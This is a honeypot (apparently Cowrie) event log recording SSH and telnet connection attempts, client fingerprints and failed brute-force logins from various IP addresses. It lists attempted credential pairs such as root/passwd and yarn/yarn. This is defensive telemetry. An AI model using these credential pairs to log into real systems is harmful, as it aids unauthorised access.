{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:18.873054Z","src_ip":"160.187.174.22","session":"87a111c8213f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passwd","message":"login attempt [root/passwd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:19.599906Z","src_ip":"160.187.174.22","session":"87a111c8213f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:20.843911Z","src_ip":"160.187.174.22","session":"87a111c8213f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.34.123","src_port":48090,"dst_ip":"10.17.0.5","dst_port":22,"session":"e258e3aa9c41","protocol":"ssh","message":"New connection: 162.144.34.123:48090 (10.17.0.5:22) [session: e258e3aa9c41]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:24.901148Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:24.905172Z","src_ip":"162.144.34.123","session":"e258e3aa9c41","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:24.993467Z","src_ip":"162.144.34.123","session":"e258e3aa9c41","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"popcat","password":"popcat123","message":"login attempt [popcat/popcat123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:25.260798Z","src_ip":"162.144.34.123","session":"e258e3aa9c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:26.351980Z","src_ip":"162.144.34.123","session":"e258e3aa9c41","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.01119327545166,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:36.285016Z","src_ip":"170.64.224.25","session":"75cb84b9d1f9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.673744916915894,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:40.116939Z","src_ip":"170.64.224.25","session":"326f2519db94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":40526,"dst_ip":"159.203.135.109","dst_port":22,"session":"ad8f8feea981","protocol":"ssh","message":"New connection: 160.187.174.22:40526 (159.203.135.109:22) [session: ad8f8feea981]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:44.826835Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:44.829925Z","src_ip":"160.187.174.22","session":"ad8f8feea981","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:45.064881Z","src_ip":"160.187.174.22","session":"ad8f8feea981","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"yarn","password":"yarn","message":"login attempt [yarn/yarn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:45.764503Z","src_ip":"160.187.174.22","session":"ad8f8feea981","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:47.134012Z","src_ip":"160.187.174.22","session":"ad8f8feea981","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":57650,"dst_ip":"159.203.135.109","dst_port":22,"session":"fcc528604847","protocol":"ssh","message":"New connection: 194.113.233.25:57650 (159.203.135.109:22) [session: fcc528604847]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:48.732610Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:48.735538Z","src_ip":"194.113.233.25","session":"fcc528604847","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:48.828714Z","src_ip":"194.113.233.25","session":"fcc528604847","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"260219","message":"login attempt [root/260219] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:49.109571Z","src_ip":"194.113.233.25","session":"fcc528604847","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:50.205312Z","src_ip":"194.113.233.25","session":"fcc528604847","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":42300,"dst_ip":"10.17.0.5","dst_port":22,"session":"93204f16676a","protocol":"ssh","message":"New connection: 103.122.221.179:42300 (10.17.0.5:22) [session: 93204f16676a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:58.334459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:58.337883Z","src_ip":"103.122.221.179","session":"93204f16676a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:58.583236Z","src_ip":"103.122.221.179","session":"93204f16676a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"140893","message":"login attempt [root/140893] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:21:59.316589Z","src_ip":"103.122.221.179","session":"93204f16676a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":49720,"dst_ip":"159.203.135.109","dst_port":22,"session":"f17a25e592e5","protocol":"ssh","message":"New connection: 194.59.206.2:49720 (159.203.135.109:22) [session: f17a25e592e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:00.283956Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:00.288085Z","src_ip":"194.59.206.2","session":"f17a25e592e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:00.373988Z","src_ip":"194.59.206.2","session":"f17a25e592e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:00.470458Z","src_ip":"194.59.206.2","session":"f17a25e592e5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:00.564354Z","src_ip":"103.122.221.179","session":"93204f16676a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"160.187.174.22","src_port":34210,"dst_ip":"159.203.135.109","dst_port":22,"session":"1d0003a3204f","protocol":"ssh","message":"New connection: 160.187.174.22:34210 (159.203.135.109:22) [session: 1d0003a3204f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:11.146954Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:11.155084Z","src_ip":"160.187.174.22","session":"1d0003a3204f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:11.389925Z","src_ip":"160.187.174.22","session":"1d0003a3204f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test2","password":"test2","message":"login attempt [test2/test2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:12.638443Z","src_ip":"160.187.174.22","session":"1d0003a3204f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:13.877408Z","src_ip":"160.187.174.22","session":"1d0003a3204f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":39880,"dst_ip":"159.203.135.109","dst_port":23,"session":"c99c5e26c808","protocol":"telnet","message":"New connection: 170.64.224.25:39880 (159.203.135.109:23) [session: c99c5e26c808]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:24.015736Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":36392,"dst_ip":"159.203.135.109","dst_port":22,"session":"651aeaf2e30d","protocol":"ssh","message":"New connection: 162.241.132.172:36392 (159.203.135.109:22) [session: 651aeaf2e30d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:28.474698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:28.478518Z","src_ip":"162.241.132.172","session":"651aeaf2e30d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:28.503424Z","src_ip":"162.241.132.172","session":"651aeaf2e30d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"siacoin123","password":"siacoin123","message":"login attempt [siacoin123/siacoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:28.580992Z","src_ip":"162.241.132.172","session":"651aeaf2e30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:29.609751Z","src_ip":"162.241.132.172","session":"651aeaf2e30d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":114.69499611854553,"message":"Connection lost after 114 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:31.806095Z","src_ip":"170.64.224.25","session":"fe248ced7333","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":58998,"dst_ip":"159.203.135.109","dst_port":23,"session":"18ed226606ce","protocol":"telnet","message":"New connection: 170.64.224.25:58998 (159.203.135.109:23) [session: 18ed226606ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:32.107008Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":50124,"dst_ip":"10.17.0.5","dst_port":22,"session":"250b86bb9f6b","protocol":"ssh","message":"New connection: 103.27.238.116:50124 (10.17.0.5:22) [session: 250b86bb9f6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:36.651060Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T05:22:36.653482Z","src_ip":"103.27.238.116","session":"250b86bb9f6b","protocol":"ssh"}
